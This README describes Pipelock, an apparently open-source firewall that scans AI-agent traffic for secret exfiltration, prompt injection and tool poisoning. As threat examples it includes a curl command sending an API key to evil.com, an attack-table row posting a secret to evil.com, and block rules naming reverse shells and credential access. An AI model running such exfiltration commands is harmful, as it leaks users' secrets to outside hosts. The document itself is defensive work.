Open-source AI agent firewall for Verifiable Egress Control.

Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level. Configured MCP upstreams are an exception to private-address SSRF blocking: local/private servers are allowed, but cloud metadata endpoints remain blocked.

Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. The Gauntlet workflow is the product's scheduled candidate exam against a pinned corpus commit; it does not auto-publish a public score. Learn more: Open-source AI firewall.

Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Pi · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

Problem · Verify · Quick Start · Action · Catches · Features · Architecture · Docs · Playground · Blog · Ask Dosu

Try it in your browser at the live playground. If Pipelock earns it, star the repo so other people find it.

The Problem

Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:

curl "https://evil.com/steal?key=$PROVIDER_API_KEY"   # game over, unless pipelock is watching

Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.

Verify It Yourself

Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.

The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:

pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is <action-id>.json)

The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.

The evidence viewer is free and needs no license. It reads a flight-recorder session, which is what Pipelock writes while it runs, rather than the demo receipts above:

pipelock init --output ./pipelock.yaml        # names a recorder directory and generates its signing key
pipelock run --config ./pipelock.yaml         # record while your agent works
pipelock evidence view --receipt-dir ./recorder --out report.html   # static offline report, no server
pipelock evidence serve --receipt-dir ./recorder                    # same report, served read-only

Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. pipelock anchor receipts records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.

The full argument for why proof beats promises is in demonstration over attestation.

Quick Start

These examples target v3.7.0 once its release artifacts are published. For an existing deployment, read the 3.7 upgrade guide before changing the binary or configuration.

# Build the current release from source (Community edition, Go 1.26+)
git clone --branch v3.7.0 --depth 1 https://github.com/luckyPipewrench/pipelock.git
make -C pipelock install
Discover local agent integrations and save a config
pipelock init --output ./pipelock.yaml
Test the scanner
pipelock check --config ./pipelock.yaml --url "https://api.vendor.example/?k=$(printf '%s%s' 'AKIA' 'IOSFODNN7EXAMPLE')"  # blocked: AWS Access ID
pipelock check --config ./pipelock.yaml --url "https://docs.python.org/3/"                # allowed

# Download a binary
See https://github.com/luckyPipewrench/pipelock/releases
Docker (after v3.7.0 image publication)
docker pull ghcr.io/luckypipewrench/pipelock:3.7.0
Homebrew on macOS
brew install luckyPipewrench/tap/pipelock

gh attestation verify pipelock_3.7.0_linux_amd64.tar.gz --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:3.7.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml
Helm chart, attested from 3.6.0 on:
gh attestation verify oci://ghcr.io/luckypipewrench/charts/pipelock:3.7.0 --repo luckyPipewrench/pipelock --signer-workflow luckyPipewrench/pipelock/.github/workflows/release.yaml

See It In Action

The Pro/Enterprise operator dashboard (pipelock dashboard serve) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.

The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.

_{The Overview page. Click to watch the 80-second dashboard walkthrough.}

Dashboard gallery

Free reports and monitoring

pipelock report --input events.jsonl generates HTML, JSON, or signed bundle reports with risk rating, timeline, event categories, and an evidence appendix. The free Prometheus and Grafana path monitors one Pipelock instance and is distinct from the Enterprise Conductor fleet control plane.

What It Catches

Pipelock runs in three modes:

| Mode | Security | Web Browsing | Use Case | |------|----------|--------------|----------| | strict | Allowlist-only | None | Regulated industries, high-security | | balanced | Blocks naive + detects sophisticated | Via fetch or forward proxy | Most developers (default) | | audit | Ordinary policy warns; core floors can block | Via fetch or forward proxy, with core destination checks | Evaluate policy with core protection active |

For agents running uncensored or abliterated models, the hostile-model preset layers defenses on strict mode: aggressive entropy thresholds, blanket network-tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains through dependency signals.

| Attack Vector | Strict | Balanced | Audit | |---------------|--------|----------|-------| | curl evil.com -d $SECRET | Prevented | Prevented | Logged | | Secret in URL query params | Prevented | Detected by DLP | Logged | | Base64-encoded secret in URL | Prevented | Detected by entropy and decoded DLP | Logged | | DNS tunneling | Prevented | Detected by subdomain entropy | Logged | | Chunked exfiltration | Prevented | Detected by rate, budget, and fragment checks | Logged | | Public-key encrypted blob in URL | Prevented | Logged when entropy flags it | Logged |

Honest assessment: Strict mode blocks outbound HTTP that traverses Pipelock except allowlisted API domains, so there is no exfiltration channel through the proxy itself. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (pipelock sandbox) or the host/cluster containment topology enforced, Pipelock adds an OS or deployment boundary on top of content inspection. Direct egress still has to be blocked by that boundary for non-cooperative tools that ignore proxy settings.

Comparison

| | Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) | |---|---|---|---|---| | Secret exfiltration prevention | Strict blocks; balanced detects | Partial (proxy mode) | Partial (domain-level) | Yes | | DLP + entropy analysis | Yes | No | No | Partial | | Prompt injection detection | Yes | Yes | No | No | | MCP scanning (bidirectional + tool poisoning) | Yes | Yes | No | No | | WebSocket proxy (frame scanning) | Yes | No | No | No | | MCP HTTP transport (Streamable HTTP) | Yes | No | No | No | | Emergency kill switch (7 sources) | Yes | No | No | No | | Tool call chain detection | Yes | No | No | No | | Process sandbox (no Docker) | Yes | No | No | Yes (kernel-level) | | Single binary, no runtime deps | Yes | No (Python) | No (npm) | No (kernel) |

Reference matrix: docs/comparison.md

Canonical comparison hub: AI runtime security comparison

What It Does

Pipelock is an AI egress proxy and MCP security control. It sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for attestation outside the agent runtime. AARP/SVID workload-identity appraisal is verifier-side today: the proxy and MCP runtimes do not consume SVID evidence in live allow/deny decisions or bind receipt actor identity from an X.509-SVID.

Detection And Scanning

• Ordered URL scanner pipeline: URL length and parsing checks, scheme validation, CRLF and path-traversal detection, allowlist and blocklist policy, immutable literal-IP SSRF and core-DLP floors, configured DLP, path, query and subdomain entropy analysis, nested URL destinations in query parameters, DNS SSRF and rebinding protection, per-domain rate limits, data budgets, and final context checks. DLP runs before DNS resolution, so secrets are caught before a DNS query leaves the proxy. See docs/bypass-resistance.md.
• DLP: 65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment secrets, and financial identifiers with checksum validation. BIP-39 seed phrase detection uses dictionary lookup, sliding windows, and SHA-256 checksum validation.
• Response scanning: 34 built-in prompt-injection and state/control poisoning patterns, plus 6-pass normalization for zero-width characters, homoglyphs, leetspeak, optional whitespace, vowel folding, base64, and hex. Actions are block, strip, warn, or ask.
• Streaming SSE: text/event-stream responses from LLM gateways and MCP HTTP/SSE flow token by token with per-event and rolling cross-event DLP and injection scanning. A detection terminates the stream fail-closed. See SSE streaming guide.
• Request body scanning: headers and bodies are scanned before they leave the protected path across JSON, form data, raw text, reverse proxy requests, TLS-intercepted CONNECT traffic, and outbound WebSocket client frames.
• Request redaction: optional JSON rewriting replaces matched secret values with typed placeholders such as across HTTP, WebSocket, and MCP tools/call arguments. Receipts record the active profile and per-class counts instead of plaintext secrets.
• Address protection: ETH, BTC, SOL, and BNB address validation catches lookalike destination swaps using prefix/suffix fingerprinting and an operator allowlist.
• Explainable findings: pipelock explain (also explain event , explain mcp-response, and explain response for a saved HTTP response body) prints the scanner, layer, matching rule, inspected surface, and the narrowest available config knob for a false positive. See docs/cli/explain.md.
• Canary tokens: pipelock canary generates honeytoken config. A synthetic secret showing up in outbound traffic proves an agent or something in its chain is exfiltrating environment variables. See canary tokens.
• Skill-file scanning: pipelock skill-scan inventories agent skill files, compares them to an operator-owned lock file, and flags source-to-sink combinations such as credential-to-network-sink or shell-to-write with line evidence before anything runs. See docs/cli/skill-scan.md.

MCP Security

Pipelock wraps MCP servers with bidirectional scanning:

# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp
Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp

• Input scanning: MCP client requests are checked for DLP leaks and injection in tool arguments.
• Response scanning: server responses are scanned before the agent sees them.
• Tool poisoning: tools/list descriptions are checked for hidden instructions and mid-session rug-pull changes.
• Tool policy: 30 built-in rules block destructive file deletes, credential access, reverse shells, persistence mechanisms, encoded command execution, and related high-risk tool calls before execution.
• Tool call chains: 10 built-in category-axis patterns detect reconnaissance, credential theft, data staging, persistence, exfiltration, and callback chains with configurable gap tolerance.
• A2A inspection: Google Agent-to-Agent protocol traffic is inspected on the forward and MCP paths; Pipelock is not a standalone A2A proxy.
• Authenticated MCP HTTP listeners (v3.2.0): non-loopback MCP listeners fail closed by default and require --mcp-auth-token-file, or an explicit --mcp-allow-unauthenticated for network-policy-isolated deployments. Tokenless loopback listeners reject DNS-rebound and wrong-port Host authorities and scrub listener credentials from headers.

Containment

Unprivileged process containment uses OS-native primitives. Linux uses Landlock and network namespaces; linux/amd64 also applies seccomp. Other Linux builds label the launch partial while the network namespace is active, and --strict refuses them. macOS uses sandbox-exec profiles. In containers, --best-effort keeps Landlock and, on linux/amd64, seccomp when namespace creation is restricted. Its expiry bounds admission only: it never stops a child already running, and each later launch must be re-authorized. A launch without the namespace is labelled advisory-override regardless of architecture, because the missing namespace is the more serious gap: network scanning then uses proxy-based routing and may be bypassed by direct egress.

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort \
  --best-effort-reason "container user namespaces disabled" \
  --best-effort-expiry 30m -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Host containment goes further on Linux:

pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code

pipelock contain (install, run, verify, doctor, rollback, add-tool, workspace grants, ca-refresh, reload-nft-rules, and more) manages a 3-UID operator / proxy / agent model: the agent runs in a private network namespace with no route off-host, reaching only the Pipelock proxy through a doorway socket, with nftables owner-match rules as the fallback backstop, plus systemd service setup, wrapper commands, workspace ACLs, CA refresh, and posture evidence. See docs/contain-cli.md.

Evidence And Receipts

The released 3.7.0 binary completed 1,000,000 requests with zero missing receipt records, and its eight-chain signed group verified GROUP_VALID. It sustained 333 requests/s with required receipts on a 6-core/12-thread i7-10750H under an 8-CPU quota. Request and record counts differ because each action can produce several evidence records. See the measured workload and detection limits; this is a workload result, not a capacity guarantee.

• Flight recorder: per-writer hash-chained JSONL evidence with Ed25519-signed checkpoints and DLP redaction. pipelock init provisions a recorder directory and signing key for stock installs. Recording needs a directory, and because checkpoint signing is on by default it also needs a signing key; set sign_checkpoints: false for an explicitly unsigned hash-chained recorder. Use pipelock evidence doctor DIR to detect structural damage in an evidence directory. See Flight Recorder.
• Action receipts: signed records emitted for mediated actions, carrying verdict, policy hash, transport, and scanner layer. Blocks produce receipts; allow-path receipt enforcement requires flight_recorder.require_receipts. Verify with pipelock verify-receipt --key . Unpinned runs are structural-only and exit non-zero unless --allow-unpinned is passed.
• Mediation envelope: RFC 8941 sideband metadata on forwarded HTTP requests and MCP _meta, with action type, verdict, actor identity, policy hash, taint context, and receipt correlation ID. See federation guide.
• Receipt conformance: four independent cross-language verifier implementations

• Anchors: pipelock anchor receipts records receipt-chain checkpoints to a local backend or Rekor. Rekor anchoring is proof material for later audit; Rekor verification requires pinned log keys and the end-to-end operator-independence path is still being proven.
• Posture capsule: pipelock posture emit and pipelock posture verify produce and check a signed snapshot of a deployment's enforcement posture, with a CI gate and scoring model, so a reviewer can confirm the boundary was configured the way it claims.

Fleet And Enterprise

• Operator dashboard: pipelock dashboard serve is a read-only console over signed evidence. Pro unlocks the Overview, Evidence, Exemptions, Agents, Budgets, and Trust & Keys views; Enterprise adds the Fleet, Workbench, and Incident views. See docs/cli/dashboard.md.
• Free evidence viewer: pipelock evidence serve and pipelock evidence view render one selected recorder session without a license or cross-agent enumeration. pipelock evidence verify-cert verifies Pro-issued coverage certificates offline.
• Conductor: Enterprise fleet control plane for signed policy-bundle distribution, signed evidence sink (pipelock fleet-sink), enrollment, remote kill, rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Followers enforce locally; the default stale-policy mode engages an independent deny source after its grace window, while the documented continue_last_known_good override weakens that posture. Conductor holds no agent secrets. See the Conductor guide.
• Legal hold: pipelock dashboard legal-hold add/list/release manages preservation holds as compliance metadata kept outside the dashboard's HTTP authority, so a compromised dashboard can read holds but never forge or delete them.
• Behavioral baseline: profile-then-lock for MCP tool behavior with pipelock baseline list/show/ratify/forget for operator approval and relearning. See docs/cli/baseline.md.

Operability

• Kill switch: seven independent activation sources: config file, remote API, SIGUSR1, sentinel file, Conductor remote kill, stale-bundle detection, and uncertain Conductor apply. Any one active source blocks traffic. Endpoint and IP exemptions apply only to HTTP requests, never to MCP transports, the reverse proxy or established relays, and the IP allowlist is ignored during uncertain Conductor apply.
• Scan API: programmatic scanning for url, dlp, prompt_injection, and tool_call verdicts with bearer token auth, per-token rate limiting, structured findings, and Prometheus metrics. See docs/scan-api.md.
• Filesystem sentinel: watches agent working directories for secrets written to disk and attributes writes to the MCP subprocess lineage on Linux. See docs/guides/filesystem-sentinel.md.
• Event emission: forwards audit events to SIEMs, webhook receivers, syslog, CEF, OTLP, and metrics outputs without blocking the proxy hot path. See docs/guides/siem-integration.md.
• Security assessment: pipelock assess init, pipelock assess run, and pipelock assess finalize orchestrate attack simulation, config scoring, install verification, and MCP discovery into a reproducible evidence bundle. Critical exposures such as unprotected MCP servers cap the grade regardless of numeric score. Every finalized assessment is Ed25519-signed by default, licensed or not, so the finalized run directory can be checked with pipelock assess verify, which hashes the manifest-listed artifacts and verifies the detached manifest signature. Pass --unsigned to assess finalize to skip signing. The free summary shows your grade, section scores, top findings, and compliance coverage counts; a license unlocks the full report with server-specific findings, remediation commands, and the detached attestation and badge.

Free, Pro, and Enterprise

All detection, enforcement, containment, receipt verification, and the free single-agent evidence viewer are free forever under Apache 2.0. Pro adds named-agent operations, including per-agent coverage certificates; Enterprise adds fleet governance and compliance.

| Capability | Free | Pro | Enterprise | |---|:--:|:--:|:--:| | Scanning and detection (ordered URL pipeline, DLP, injection, SSRF, streaming SSE, redaction, address protection) | Yes | Yes | Yes | | MCP and A2A scanning (input, response, tool policy, tool chain, poisoning, integrity, authenticated listeners; configured upstreams allow local/private servers and still block cloud metadata) | Yes | Yes | Yes | | Containment, sandbox, host contain, 7-source kill switch | Yes | Yes | Yes | | Action receipts, flight recorder, anchors, free evidence viewer, verify-cert, standalone verifier | Yes | Yes | Yes | | Canary tokens, skill-scan, explain, single-instance Prometheus and Grafana | Yes | Yes | Yes | | Per-agent profiles: identity, budgets, config and scanner isolation, per-agent sandbox | No | Yes | Yes | | Per-agent routing by source CIDR and network selector | No | Yes | Yes | | Operator dashboard: Overview, Evidence, Exemptions, Agents, Budgets, Trust & Keys | No | Yes | Yes | | Per-agent coverage certificates | No | Yes | Yes | | Legal hold and compliance metadata | No | Yes | Yes | | Conductor fleet control plane, fleet-sink audit sink, remote kill, rollback, decision replay, drift preflight | No | No | Yes | | mTLS follower enrollment and roster-verified signed policy distribution | No | No | Yes | | Dashboard fleet views: Fleet, Workbench, Incident | No | No | Yes |

The full pipelock assess report is a separate assess entitlement, independent of Pro and Enterprise. Signing is not part of that entitlement: the free summary is signed too, and the free assess grade is unchanged.

How It Works

Pipelock uses capability separation: in an enforced deployment, the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can't reach the firewall's controls.

Three HTTP proxy modes (same port), plus a dedicated MCP proxy and A2A inspection on the forward and MCP paths:

• Fetch proxy (/fetch?url=...): Fetches the URL, extracts text, scans for injection, returns clean content.
• Forward proxy (HTTPS_PROXY): Standard HTTP CONNECT tunneling without application code changes. Proxy configuration is still required. Optional TLS interception enables payload scanning.
• WebSocket proxy (/ws?url=ws://...): Bidirectional frame scanning with DLP + injection detection.
• MCP proxy (pipelock mcp proxy): Wraps stdio or HTTP MCP servers with bidirectional scanning.
• A2A inspection: Inspects Google Agent-to-Agent protocol traffic as it crosses the forward and MCP paths.

┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE                                          │
│                                                          │
│ AI Agent                                                 │
│ - API keys, credentials, private code and context        │
│ - Network-isolated by deployment                         │
└────────────────────────────┬─────────────────────────────┘
                             │ mediated request
                             │ fetch / CONNECT / WS / MCP / A2A
                             ▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE                                            │
│                                                          │
│ Pipelock Agent Firewall                                  │
│ - Destination: URL, SSRF, and DNS checks                 │
│ - Data: DLP, secret detection, and budgets               │
│ - Content: prompt injection and tool poisoning           │
│ - Policy: allow, block, or redact                        │
│ - No agent secrets                                       │
└────────────────────────────┬─────────────────────────────┘
                             │ approved request
                             ▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET                                                 │
│                                                          │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent

Configuration

Generate a config from a built-in preset, or let pipelock audit tailor one to your project:

pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml

| CLI Preset | Mode | Action | Best For | |------------|------|--------|----------| | balanced | balanced | warn | General purpose (default) | | strict | strict | block | High-security, regulated industries | | audit | audit | warn | Evaluate ordinary policy; core floors can block | | claude-code | balanced | block | Claude Code unattended | | cursor | balanced | block | Cursor IDE | | generic-agent | balanced | warn | New agents during tuning | | hostile-model | strict | block | Uncensored/abliterated models |

Config changes are picked up through file watcher or SIGHUP. Full reference: docs/configuration.md

For false positive tuning: docs/false-positive-tuning.md

Integration Guides

• Claude Code: MCP proxy setup, .claude.json configuration
• OpenAI Codex: MCP proxy wrapping, forward proxy, sandbox integration
• Cline: MCP proxy wrapping for Cline's mcp.json
• Continue.dev: MCP proxy wrapping for Continue YAML configuration
• OpenCode: MCP proxy wrapping for OpenCode's local and remote MCP servers
• Pi: global httpProxy setup with a named agent listener (example)
• Zed: MCP proxy wrapping for Zed's context_servers block in settings.json
• OpenAI Agents SDK: MCPServerStdio, multi-agent handoffs
• Google ADK: McpToolset, StdioConnectionParams
• AutoGen: StdioServerParams, mcp_server_tools()
• CrewAI: MCPServerStdio wrapping, MCPServerAdapter
• LangGraph: MultiServerMCPClient, StateGraph
• Hermes: full-plugin coverage or lighter MCP-only wrapping for Nous Research's agent, with auth-header sidecar preservation
• Grok Build: forward proxy via HTTPS_PROXY / HTTP_PROXY plus manual MCP wrap (grok mcp add … -- pipelock mcp proxy); no automatic installer
• JetBrains/Junie: MCP proxy wrapping for IntelliJ, PyCharm, GoLand (walkthrough)
• Cursor: pipelock cursor install registers Pipelock as a Cursor hook for shell execution, MCP tool calls, and file reads; use --config to embed a validated policy path and pipelock cursor remove to remove Pipelock-managed hooks. You can also use configs/cursor.yaml with the same MCP proxy pattern as Claude Code (walkthrough)
• VS Code: pipelock vscode install rewrites .vscode/mcp.json to route every MCP server through the MCP proxy; --global targets the user-level mcp.json
• OpenClaw: gateway sidecar,